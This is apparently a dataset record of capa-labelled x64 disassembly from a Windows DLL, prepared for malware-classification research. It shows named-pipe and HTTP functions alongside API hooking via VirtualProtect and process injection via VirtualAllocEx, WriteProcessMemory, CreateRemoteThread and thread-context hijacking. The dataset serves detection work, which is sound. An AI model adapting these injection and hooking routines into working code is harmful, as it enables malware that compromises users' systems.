joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000c050
Capabilities:
Connect pipe
Read pipe
Write pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
xor esi, esi
mov ebp, r8d
mov r15, r9
and dword [rax - 0x38], esi
xor eax, eax
mov r13, rdx
mov r12d, ecx
lea r14d, [rbp + 0xc]
lea ebx, [rsi + 8]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x48], eax
test r9, r9
je 0x18000c0a4
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [rax + 1]
add r14d, esi
jmp 0x18000c0b0
cmp ecx, 0x119
je 0x18000c162
mov rcx, qword [0x180023a50]
mov r8d, r14d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000c160
movzx ecx, r12w
mov dword [rax + 8], esi
mov dword [rax], ecx
lea ecx, [rsi + rbp]
mov dword [rax + 4], ecx
test esi, esi
je 0x18000c0f0
lea rcx, [rax + 0xc]
mov r8d, esi
mov rdx, r15
call sub.ntdll.dll_memcpy
test r13, r13
je 0x18000c109
test ebp, ebp
je 0x18000c109
lea rcx, [rsi + rdi + 0xc]
mov r8, rbp
mov rdx, r13
call sub.ntdll.dll_memcpy
mov rcx, qword [0x180023b70]
lea rax, [rsp + 0x90]
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rdi
mov dword [rsp + 0x20], 0xc
call qword [sym.imp.KERNEL32.dll_CallNamedPipeA]
test eax, eax
je 0x18000c146
xor ebx, ebx
jmp 0x18000c14e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [0x180023a50]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000eec0
Capabilities:
Connect to http server
Create http request

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov rbx, rcx
mov rcx, r8
mov r12, r9
mov rsi, r8
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x180023a50]
add eax, eax
xor edx, edx
lea r8d, [rax + 1]
mov dword [rsp + 0x60], eax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000ef22
lea r8, [rsp + 0x60]
xor r9d, r9d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCanonicalizeUrlA]
test eax, eax
cmovne rsi, rdi
mov rcx, qword [rsp + 0x80]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov dword [rsp + 0x20], 0x10000000
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbx + 0x18], rax
test rax, rax
je 0x18000f003
lea rdx, [0x18000edb0]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetSetStatusCallback]
cmp rax, 0xffffffffffffffff
je 0x18000f003
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x38], rbx
and dword [rsp + 0x30], 0
mov r8d, 0x50
xor r9d, r9d
mov rdx, rbp
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbx + 0x20], rax
test rax, rax
jne 0x18000efca
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x18000f003
mov rcx, qword [rbx + 0x30]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x18000f003
mov rcx, qword [rbx + 0x20]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x84404000
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
mov rdx, r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbx + 0x28], rax
test rax, rax
je 0x18000f003
xor ebx, ebx
jmp 0x18000f00b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test rdi, rdi
je 0x18000f022
mov rcx, qword [0x180023a50]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x70]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x18000f870
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rdi
push r12
push r13
push r14
sub rsp, 0x40
mov r14, rcx
mov rcx, qword [0x180023a50]
test r9, r9
mov r12d, r8d
mov r13, rdx
mov ebx, 8
lea rbp, [0x180025468]
lea r8d, [rbx + 0x44]
cmovne rbp, r9
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000f9a8
mov rcx, rax
call fcn.18000ec60
test eax, eax
je 0x18000f988
cmp dword [rsp + 0x88], 0
jne 0x18000f8e2
or dword [rdi + 0x48], 1
mov rax, qword [rsp + 0x80]
mov r9d, r12d
mov r8, r13
mov qword [rsp + 0x28], rax
mov rdx, r14
mov rcx, rdi
mov qword [rsp + 0x20], rbp
call fcn.18000f5b8
mov ebx, eax
test eax, eax
jne 0x18000f980
cmp dword [rsp + 0x88], eax
je 0x18000f9a8
mov rcx, qword [rdi + 0x30]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, eax
test eax, eax
jne 0x18000f980
mov ebx, dword [rdi + 0x40]
test ebx, ebx
jne 0x18000f980
mov rcx, qword [rdi + 0x28]
and dword [rsp + 0x78], ebx
lea rax, [rsp + 0x78]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x34]
mov edx, 0x20000013
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 4
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x18000f978
cmp dword [rsp + 0x34], 0xc8
je 0x18000f980
mov ebx, 0xe8
jmp 0x18000f980
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call fcn.18000eccc
cmp dword [rsp + 0x88], 0
jne 0x18000f996
test ebx, ebx
je 0x18000f9a8
mov rcx, qword [0x180023a50]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop r13
pop r12
ret
Function at 0x18000ff14
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
sub rsp, 0x80
mov rdi, r9
mov ebx, r8d
mov rsi, rdx
mov r13, rcx
lea r8, [rax - 0x50]
mov rdx, qword [rcx + 8]
mov rcx, rsi
call fcn.180012afc
mov r12, rax
test rax, rax
je 0x180010125
and dword [rsp + 0x38], 0
lea r9, [rsp + 0x38]
mov edx, 4
lea r8d, [rdx + 0x3c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18001011b
mov qword [rdi + 0x30], r13
mov eax, dword [r12]
add rax, rsi
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], r12
mov eax, dword [r12]
mov qword [rdi + 0x20], rax
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r13
call fcn.18000fdf0
mov ebx, eax
mov dword [rsp + 0x34], eax
cmp eax, 1
jne 0x18001012e
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
call fcn.18000fc90
mov rbx, rax
test rax, rax
je 0x18001002a
lea r9, [rsp + 0x30]
mov edx, 0xe
lea r8d, [rdx + 0x32]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18001002a
and dword [rbx + 2], 0
mov rax, qword [rdi + 0x28]
mov qword [rbx + 6], rax
mov eax, 0x25ff
mov word [rbx], ax
mov qword [rdi + 0x28], rbx
mov qword [r13 + 0x18], rbx
mov r8d, dword [rsp + 0x30]
mov eax, 0x20
cmp r8d, 0x40
cmovne r8d, eax
mov dword [rsp + 0x30], r8d
lea r9, [rsp + 0x30]
lea edx, [rax - 0x12]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rdi + 0x28]
sub rax, rsi
mov dword [r12], eax
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x38]
mov edx, 4
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [rdi + 0x38], 0x102
lea rcx, [0x180023d60]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r11, qword [0x180023d50]
mov qword [rdi], r11
lea rax, [0x180023d50]
mov qword [rdi + 8], rax
mov qword [r11 + 8], rdi
mov qword [0x180023d50], rdi
lea rcx, [0x180023d60]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r11, qword [rdi + 0x20]
lea rax, [rsi + r11]
mov qword [r13 + 0x20], rax
xor ebx, ebx
mov dword [rsp + 0x34], ebx
xor edi, edi
mov qword [rsp + 0x40], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
and qword [rsp + 0x20], rbx
lea r9d, [rbx + 0x30]
lea r8, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.ntdll.dll_ZwQueryInformationProcess]
test eax, eax
js 0x18001010e
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x18001010e
mov rax, qword [rdx + 0x18]
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0x48], rcx
mov rax, qword [rdx + 0x18]
add rax, 0x30
cmp rcx, rax
je 0x18001010e
lea rdi, [rcx - 0x20]
mov qword [rsp + 0x40], rdi
cmp qword [rdi + 0x30], rsi
je 0x18001010e
xor edi, edi
mov qword [rsp + 0x40], rdi
mov rcx, qword [rcx]
mov qword [rsp + 0x48], rcx
jmp 0x1800100e1
test rdi, rdi
je 0x18001012e
and dword [rdi + 0x80], ebx
jmp 0x18001012e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18001012e
mov ebx, 2
mov dword [rsp + 0x34], ebx
jmp 0x180010132
mov eax, ebx
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop r13
ret
Function at 0x180010154
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rcx, [rsp + 0x48]
call fcn.18000f9c4
mov ebx, eax
test eax, eax
jne 0x180010259
and dword [rsp + 0x40], eax
mov rax, qword [rsi + 0x10]
mov rdi, qword [rsp + 0x48]
mov ebx, 8
mov qword [rdi + 0x28], rax
mov rcx, qword [rsi + 8]
lea r9, [rsp + 0x40]
lea r8d, [rbx + 0x38]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18001023b
mov rax, qword [rsi + 8]
lea r9, [rsp + 0x40]
mov rdx, rbx
mov rcx, qword [rax]
mov qword [rdi + 0x10], rcx
mov rax, qword [rsi + 8]
mov qword [rdi + 0x18], rax
mov rax, qword [rsi + 8]
mov rcx, qword [rax]
mov qword [rdi + 0x20], rcx
mov rcx, qword [rsi + 8]
mov rax, qword [rdi + 0x28]
mov qword [rcx], rax
mov r8d, dword [rsp + 0x40]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [rdi + 0x38], 0x101
lea rcx, [0x180023d60]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r11, qword [0x180023d50]
lea rax, [0x180023d50]
mov qword [rdi], r11
mov qword [rdi + 8], rax
mov qword [r11 + 8], rdi
lea rcx, [0x180023d60]
mov qword [0x180023d50], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r11, qword [rdi + 0x20]
xor ebx, ebx
mov qword [rsi + 0x20], r11
jmp 0x180010259
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
je 0x180010259
mov rcx, qword [0x180023a50]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18001026c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
mov rbx, rcx
xor edi, edi
and dword [rax + 0x10], edi
movzx r12d, byte [rcx + 0x38]
mov eax, r12d
sub eax, 1
je 0x1800102f2
sub eax, 1
je 0x1800102a9
cmp eax, 6
jne 0x1800103b5
jmp 0x18001034e
mov rsi, qword [rcx + 0x28]
mov eax, 0x25ff
cmp word [rsi], ax
jne 0x1800102f2
lea r9, [rsp + 0x38]
mov edx, 0xe
lea r8d, [rdx + 0x32]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800102f2
mov rax, qword [rbx + 0x10]
mov qword [rsi + 6], rax
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x38]
mov edx, 0xe
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rsp + 0x38]
mov esi, 8
lea r8d, [rsi + 0x38]
mov rdx, rsi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180010346
cmp r12d, 1
jne 0x180010324
mov rcx, qword [rbx + 0x18]
mov rax, qword [rbx + 0x20]
mov qword [rcx], rax
jmp 0x18001032d
mov rcx, qword [rbx + 0x18]
mov eax, dword [rbx + 0x20]
mov dword [rcx], eax
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x38]
mov rdx, rsi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x18001034e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
bt dword [rbx + 0x38], 9
jae 0x1800103b0
cmp qword [rbx + 0x40], 0
je 0x1800103b0
mov rcx, qword [rbx + 0x30]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea r9, [rsp + 0x38]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800103b0
mov rdx, qword [rbx + 0x30]
mov rdx, qword [rdx + 8]
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x38]
mov rdx, rsi
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
btr dword [rbx + 0x38], 8
jmp 0x1800103b9
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x1800106e8
Capabilities:
Enumerate pe sections
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rdi, rdx
lea rdx, [rsp + 0x40]
mov rbp, rcx
xor ebx, ebx
call fcn.18001142c
cmp eax, ebx
jne 0x18001082c
xor r8d, r8d
mov rdx, rdi
mov rcx, rbp
call fcn.180012afc
mov r11, rax
cmp rax, rbx
je 0x180010818
movsxd r9, dword [rbp + 0x3c]
sub r11d, ebp
add r9, rbp
movzx ecx, word [r9 + 0x14]
movzx r10d, word [r9 + 6]
lea r8, [rcx + r9 + 0x18]
cmp r11d, dword [r8 + 0xc]
jb 0x180010763
mov ecx, dword [r9 + 0x3c]
mov eax, dword [r8 + 0x10]
lea edx, [rax + rcx - 1]
lea eax, [rcx - 1]
not eax
and edx, eax
add edx, dword [r8 + 0xc]
cmp r11d, edx
jb 0x180010778
mov eax, 0xffff
add r8, 0x28
add r10w, ax
je 0x180010818
jmp 0x180010741
mov edi, dword [r8 + 0x14]
sub edi, dword [r8 + 0xc]
add edi, r11d
je 0x180010818
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180010818
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, edi
jne 0x18001080f
lea r9, [rsp + 0x80]
lea rdx, [rsp + 0x88]
mov r8d, 4
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x18001080f
cmp dword [rsp + 0x80], 4
jne 0x18001080f
mov ebx, dword [rsp + 0x88]
add rbx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rsp + 0x40]
mov rcx, qword [0x180023a50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, rbx
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x180010ac8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x500
and qword [rsp + 0x30], 0
mov rdi, rcx
mov ebp, r8d
mov rsi, rdx
lea rcx, [rsp + 0x38]
mov r8d, 0x4c8
xor edx, edx
or ebx, 0xffffffff
call sub.ntdll.dll_memset
mov r11d, dword [0x180023c18]
cmp dword [rdi + 0x10], r11d
je 0x180010c2a
mov rcx, qword [rdi]
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x318
mov dword [rsp + 0x60], 0x100003
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180010c20
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtGetContextThread]
test eax, eax
jns 0x180010b64
mov ebx, 5
jmp 0x180010c31
mov rax, qword [rsp + 0x128]
lea rdx, [0x180017eb0]
test bpl, 0x10
mov qword [rsi], rax
lea rax, [rbx + 0x218]
lea rcx, [rsi + 0x218]
mov qword [rsp + 0x128], rax
lea rax, [0x180017ed9]
mov r8d, 0x100
cmovne rdx, rax
mov qword [rsp + 0xa8], rbx
call sub.ntdll.dll_memcpy
lea rax, [rsi + 0x18]
cmp qword [rsi + 0x10], rax
jne 0x180010bc0
lea rax, [rbx + 0x18]
mov qword [rsi + 0x10], rax
mov rcx, qword [rdi]
lea rax, [rsp + 0x510]
mov r9d, 0x318
mov r8, rsi
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180010c20
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtSetContextThread]
test eax, eax
js 0x180010b5a
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
xor ebx, ebx
jmp 0x180010c31
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180010c31
mov rcx, qword [rsi + 0x10]
call qword [rsi + reloc.OLEAUT32.dll_VariantClear]
lea r11, [rsp + 0x500]
mov eax, ebx
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180010c4c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r15, rcx
xor r12d, r12d
mov qword [rax - 0x48], r12
xor ebx, ebx
lea r14d, [r12 + 2]
lea r9, [rax + 0x20]
xor r8d, r8d
xor edx, edx
call fcn.18001083c
mov edi, dword [rsp + 0x98]
mov esi, edi
mov rdx, rdi
xor ecx, ecx
lea r9d, [r12 + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
test rax, rax
je 0x180010d0e
lea r9, [rsp + 0x98]
mov r8d, edi
mov rdx, r13
mov rcx, r15
call fcn.18001083c
test eax, eax
jne 0x180010d07
mov edi, dword [rsp + 0x98]
cmp esi, edi
jae 0x180010d0e
mov esi, edi
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, rdi
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
test rax, rax
jne 0x180010cb0
jmp 0x180010d0e
mov edi, dword [rsp + 0x98]
test r13, r13
je 0x180010db3
cmp esi, edi
jb 0x180010db3
lea rdi, [r13 + 8]
xor esi, esi
cmp dword [r13], ebx
jbe 0x180010d94
movzx eax, word [rdi + 0x1e]
lea r15, [rax + rdi + 0x20]
mov rax, qword [rsp + 0x88]
test rax, rax
je 0x180010d91
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x180010d91
mov edx, 0x2e
mov rcx, r15
call qword [sym.imp.SHLWAPI.dll_StrChrA]
test rax, rax
je 0x180010d7b
mov byte [rax], bl
mov rdx, qword [rsp + 0x88]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x180010d8c
add rdi, 0x120
inc esi
cmp esi, dword [r13]
jae 0x180010d94
jmp 0x180010d2b
xor r14d, r14d
jmp 0x180010d99
xor r14d, r14d
test r14d, r14d
jne 0x180010da2
mov rsi, qword [rdi + 8]
mov edi, dword [rdi + 0x10]
jmp 0x180010dc8
mov edi, dword [rsp + 0x98]
mov rsi, qword [rsp + 0x98]
jmp 0x180010dc8
mov r14d, 8
mov edi, dword [rsp + 0x98]
mov rsi, qword [rsp + 0x98]
test r13, r13
je 0x180010dde
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r14d, r14d
jne 0x180010e7d
mov edx, edi
xor ecx, ecx
lea r9d, [r14 + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x98], rax
test rax, rax
je 0x180010e7d
mov r13, rax
mov r14, rsi
sub r14, rax
mov r15, qword [rsp + 0x80]
lea rdx, [r14 + r13]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
mov r8, r13
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
add r13, 0x1000
add edi, 0xfffff000
jne 0x180010e1c
xor r8d, r8d
mov rdx, qword [rsp + 0x90]
mov rcx, rbx
call fcn.180012afc
test rax, rax
je 0x180010e6e
mov r12d, dword [rax]
add r12, rsi
mov qword [rsp + 0x30], r12
jmp 0x180010e7d
test rbx, rbx
je 0x180010e93
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, r12
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x180010ea8
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x20
and dword [rsp + 0x68], 0
mov r14, rcx
mov rcx, qword [0x180023a50]
mov r12, r8
mov r13, rdx
mov esi, 0x1000
xor edx, edx
mov r8, rsi
mov edi, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180010f7d
lea r9, [rsp + 0x68]
mov r8d, esi
mov rdx, rbx
mov rcx, r14
call sub.PSAPI.DLL_EnumProcessModules
mov ebp, eax
test eax, eax
je 0x180010f47
mov eax, dword [rsp + 0x68]
cmp esi, eax
ja 0x180010f4b
mov rcx, qword [0x180023a50]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x180023a50]
add esi, 0x1000
mov r8d, esi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x180010ef4
mov eax, dword [rsp + 0x68]
test rbx, rbx
je 0x180010f7d
test ebp, ebp
je 0x180010f63
shr eax, 3
mov qword [r13], rbx
xor edi, edi
mov dword [r12], eax
jmp 0x180010f7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x180023a50]
mov r8, rbx
xor edx, edx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov eax, edi
add rsp, 0x20
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x180011110
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rbp, rcx
lea rcx, [0x18002501d]
mov r13, r9
mov r12d, r8d
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, qword [0x180023c50]
mov r14, rax
test rbx, rbx
jne 0x18001117f
lea rcx, [0x18002501d]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x180025d2c]
mov rcx, rax
call fcn.1800106e8
mov rbx, rax
test rax, rax
je 0x18001117f
mov qword [0x180023c50], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x18001123c
test r12b, 1
je 0x18001123c
xor edx, edx
mov r9d, 0x1000
mov r8d, 0x100
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x180011230
and qword [rsp + 0x48], rdi
lea rax, [rsp + 0x48]
lea r8, [0x180011104]
mov r9d, 0x100
mov rdx, rsi
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180011230
lea rax, [rsp + 0x40]
mov r9, rsi
xor edx, edx
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], edi
and qword [rsp + 0x20], rdi
mov r8d, 0x1000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x180011230
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18001123c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test eax, eax
jne 0x180011279
lea rdx, [0x18002501d]
mov rcx, rbp
test r12b, 8
je 0x180011266
lea r8, [rsp + 0x48]
call fcn.180010f98
mov edi, eax
test eax, eax
jne 0x180011279
sub rbx, r14
add rbx, qword [rsp + 0x48]
jmp 0x180011275
lea r8, [0x180025d2c]
call fcn.180010c4c
mov rbx, rax
mov qword [r13], rbx
lea r11, [rsp + 0x50]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret